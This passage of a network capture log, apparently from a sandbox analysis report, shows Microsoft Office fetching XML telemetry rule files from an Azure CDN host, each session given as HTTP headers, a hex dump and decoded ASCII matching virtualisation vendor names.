/> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.7	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:42 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:42 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 337dc70d-a01e-0053-5e05-488603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234842Z-r1cf579d778v97q7hC1EWRf95c000000039g0000000082hp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:42 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.7	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:42 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:42 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: e27c4e9c-301e-0099-680b-486683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234842Z-r1cf579d7782ctslhC1EWRfbrw000000047g000000004fp0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:42 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.7	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:42 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:42 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 8a885dcd-801e-0078-280b-48bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234842Z-r1cf579d77867vg8hC1EWR8knc00000003p00000000033xe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:42 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.7	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:42 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:42 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 32d588ee-b01e-003e-0206-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234842Z-r1cf579d778xr2r4hC1EWRqvfs00000003qg0000000098tz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:42 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.7	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:44 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:44 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 09205d62-a01e-0021-3a05-48814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234844Z-r1cf579d778w59f9hC1EWRze6w00000003y00000000075w4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:44 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.7	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:44 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:44 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 1f17df4b-601e-0050-2d03-482c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234844Z-r1cf579d778zvkpnhC1EWRv23g0000000410000000003nxe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:44 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.7	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:44 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:44 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 9160dc9b-d01e-00ad-5f02-48e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234844Z-r1cf579d778lntp7hC1EWR9gg4000000038g00000000256f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:44 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.7	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:44 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:44 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 4c7743ed-001e-0082-4b03-485880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234844Z-r1cf579d778kr8xrhC1EWRfkun0000000450000000007fw7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:44 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.7	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:44 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:44 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: a215b4dd-e01e-0071-4e03-4808e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234844Z-r1cf579d778kr8xrhC1EWRfkun000000043g000000008qfc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:44 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.7	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:46 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:46 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: a374b664-e01e-0051-1f05-4884b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234846Z-r1cf579d778mvsklhC1EWRkavg00000003x000000000b945 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:46 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.7	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:46 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:46 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 83778e64-b01e-0070-6d05-481cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234846Z-r1cf579d778xq4f9hC1EWRx41g00000003ng0000000037sf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:47 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.7	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:46 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:46 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: f6e8c48a-401e-000a-8008-484a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234846Z-r1cf579d778xq4f9hC1EWRx41g00000003f000000000a6eh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:47 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" 